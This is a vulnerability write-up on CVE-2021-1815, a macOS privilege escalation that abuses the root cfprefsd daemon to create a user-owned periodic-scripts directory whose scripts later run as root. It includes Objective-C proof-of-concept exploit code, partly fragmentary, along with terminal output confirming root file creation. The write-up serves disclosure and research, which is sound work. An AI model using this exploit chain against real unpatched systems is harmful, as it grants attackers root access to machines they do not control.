CVE-2021-1815 – macOS local privilege escalation via Preferences

Apple recently fixed three vulnerabilities in macOS 11.3’s Preferences. Although we also reported the vulnerability, it was first found by Zhipeng Huo (@R3dF09) and Yuebin Sun (@yuebinsun2020). Here we present
our writeup about how we identified one of the issues, and how we exploited it.

In 2020, the team from Georgia Institute of Technology (Yonghwi Jin, Jungwon Lim, Insu Yun, and Taesoo Kim) successfully exploited Apple macOS at pwn2own 2020. They presented their six-step exploit chain at BlackHat USA 2020, and their slides are available here. They also posted a detailed writeup on GitHub along with video on YouTube.

While reading through their very detailed writeup, which also includes information about how Apple patched the various vulnerabilities they found, we noticed a mistake Apple made while patching one of the discovered issues. Specifically, Apple failed to mitigate all exploitation paths when fixing CVE-2020-9839, which affected the cfprefsd process. We discovered that privilege escalation is still possible via the cfprefsd daemon.

The cfprefsd process is responsible for setting preferences. There are normally two instances running, one responsible for setting preferences for applications which runs with normal user privileges, and one running as root which is responsible for setting system wide preferences. Any process can open XPC connection to any of the two cfprefsd processes.

The original vulnerability allowed an attacker to communicate with the global cfprefsd daemon, which runs as root and set user ownership on custom directories by utilizing symbolic links. This was possible when the cfprefsd daemon created the directory for the preferences file using the CFPrefsCreatePreferencesDirectory function.

The team reverse engineered the fix for CVE-2020-9839, which is shown below in Listing .

int _CFPrefsCreatePreferencesDirectory(path) {
    int dirfd = open("/", O_DIRECTORY);
    for(slice in path.split("/")) {
        int fd = openat(dirfd, slice, O_DIRECTORY);
        if (fd == -1 && errno == ENOENT && !mkdirat(dirfd, slice, perm)) {
            fd = openat(dirfd, slice, O_DIRECTORY|O_NOFOLLOW);
            if ( fd == -1 ) return -1;
            fchown(fd, uid, gid);
        } // close all fds return 0;

Listing – The patched CFPrefsCreatePreferencesDirectory function

Apple’s fix ensured that symbolic links are no longer followed, thus ownership can’t be changed anymore on arbitrary directories. Nevertheless, one issue remained.

Although not obvious at first sight, this patch is not sufficient to completely prevent escalatation of privilege attacks. The code shown above still allows a user to create an directory with either user or root privileges. Since the directory location is under the control of the attacker, this can be abused to escalate privileges to root.

Here we will detail one method, but as we can create directories as any user in arbitrary locations there can be other ways to abuse this.

macOS makes use of maintenance scripts, i.e. periodic scripts that run with root privileges on a daily, weekly and monthly basis. The periodic scripts are configured through the /etc/defaults/periodic.conf file. This script has a definition for user defined scripts.

# periodic script dirs

Listing – User defined periodic scripts

On default macOS installations, this location doesn’t exist. This means that we can create this directory structure by connecting to the cfprefsd root daemon service, and asking the dameon to set ownership of the directory to our user.

Once this directory is created, we can create our script there (as the location will be owned by the user) and that script will be run as root.

An exploit example is shown below:

#import <Foundation/Foundation.h>
#include <xpc/xpc.h>
#include <sys/stat.h>

int main() {
    char *serviceName = "";
    int status = 0;

    xpc_connection_t conn;
    xpc_object_t msg;

    conn = xpc_connection_create_mach_service(serviceName, NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
    if (conn == NULL) {

    xpc_connection_set_event_handler(conn, ^(xpc_object_t obj) {


    msg = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_int64(msg, "CFPreferencesOperation", 1);
    xpc_dictionary_set_bool(msg, "CFPreferencesUseCorrectOwner", true);

    //create as user
    xpc_dictionary_set_string(msg, "CFPreferencesUser", "kCFPreferencesCurrentUser");

    xpc_dictionary_set_string(msg, "CFPreferencesHostBundleIdentifier", "prefs");
    xpc_dictionary_set_string(msg, "CFPreferencesDomain", "/usr/local/etc/periodic/daily/a.plist");
    xpc_dictionary_set_string(msg, "Key", "key");
    xpc_dictionary_set_string(msg, "Value", "value");

    xpc_connection_send_message(conn, msg);
    NSString* script = @"touch /Library/privesc.txt\n";
    NSError *error;
    BOOL succeed = [script writeToFile:@"/usr/local/etc/periodic/daily/111.lpe" atomically:YES encoding:NSUTF8StringEncoding error:&error];
    if (!succeed){
        printf("Couldn't create periodic script :(\n");
    char mode[] = "0777";
    int i;
    i = strtol(mode, 0, 8);

Listing – cfprefsd exploit

This exploit will initiate an XPC message to the cfprefsd daemon which runs as root. This is identified by the service name (The user mode daemon is identified as The daemon will create the folder /usr/local/etc/periodic/daily/ and then write our script to the location, which will run touch /Library/privesc.txt. We can compile the code with gcc -framework Foundation cfprefsd_exploit.m -o cfprefsd_exploit.

First let’s ensure that neither the directory /usr/local/etc/periodic/daily/ nor the file we want to create /Library/privesc.txt already exist.

offsec@bigsur ~ % ls -l /Library/privesc.txt    
ls: /Library/privesc.txt: No such file or directory
offsec@bigsur ~ % ls -lR /usr/local/

Listing – Verifying diirectory and file

Now that we verified that, let’s run our exploit.

offsec@bigsur ~ % ./cfprefsd_exploit
xpc_connection_set_event_handler: Undefined error: 0

offsec@bigsur ~ % ls -lR /usr/local/
total 0
drwx------  3 offsec  staff  96 Apr 13 02:02 etc

total 0
drwx------  3 offsec  staff  96 Apr 13 02:02 periodic

total 0
drwx------  3 offsec  staff  96 Apr 13 02:02 daily

total 8
-rwxrwxrwx@ 1 offsec  staff  27 Apr 13 02:02 111.lpe

Listing – Running the exploit

As we can see, the folder structure was created with our script written at the target location. Next, we simulate the execution of periodic scripts.

offsec@bigsur ~ % sudo periodic daily

offsec@bigsur ~ % ls -l /Library/privesc.txt
-rw-r--r--  1 root  wheel  0 Apr 13 02:02 /Library/privesc.txt

Listing – Invoke daily scripts and verify the execution of our daily script

Once the script run our file is created as root.

We can also create a directory as root if we want by using the following line in the exploit.

xpc_dictionary_set_string(msg, "CFPreferencesUser", "root");

Listing – Change this in exploit code if we need to create a directory as root

In summary, we can still use cfprefsd to create arbitrary directories in arbitrary location as any user. Using this we can write arbitrary scripts that will be executed later as root. Using periodic scripts is just an example for utilizing this vulnerability, as other options with the same end result might exist.

About the Author

Csaba Fitzl has worked for 6 years as a network engineer and 8 years as a blue/red teamer in a large enterprise focusing on malware analysis, threat hunting, exploitation, and defense evasion. Currently, he is focusing on macOS research and working at OffSec as a content developer. He gives talks and workshops at various international IT security conferences, including Hacktivity,, Troopers, SecurityFest, DEFCON, and Objective By The Sea.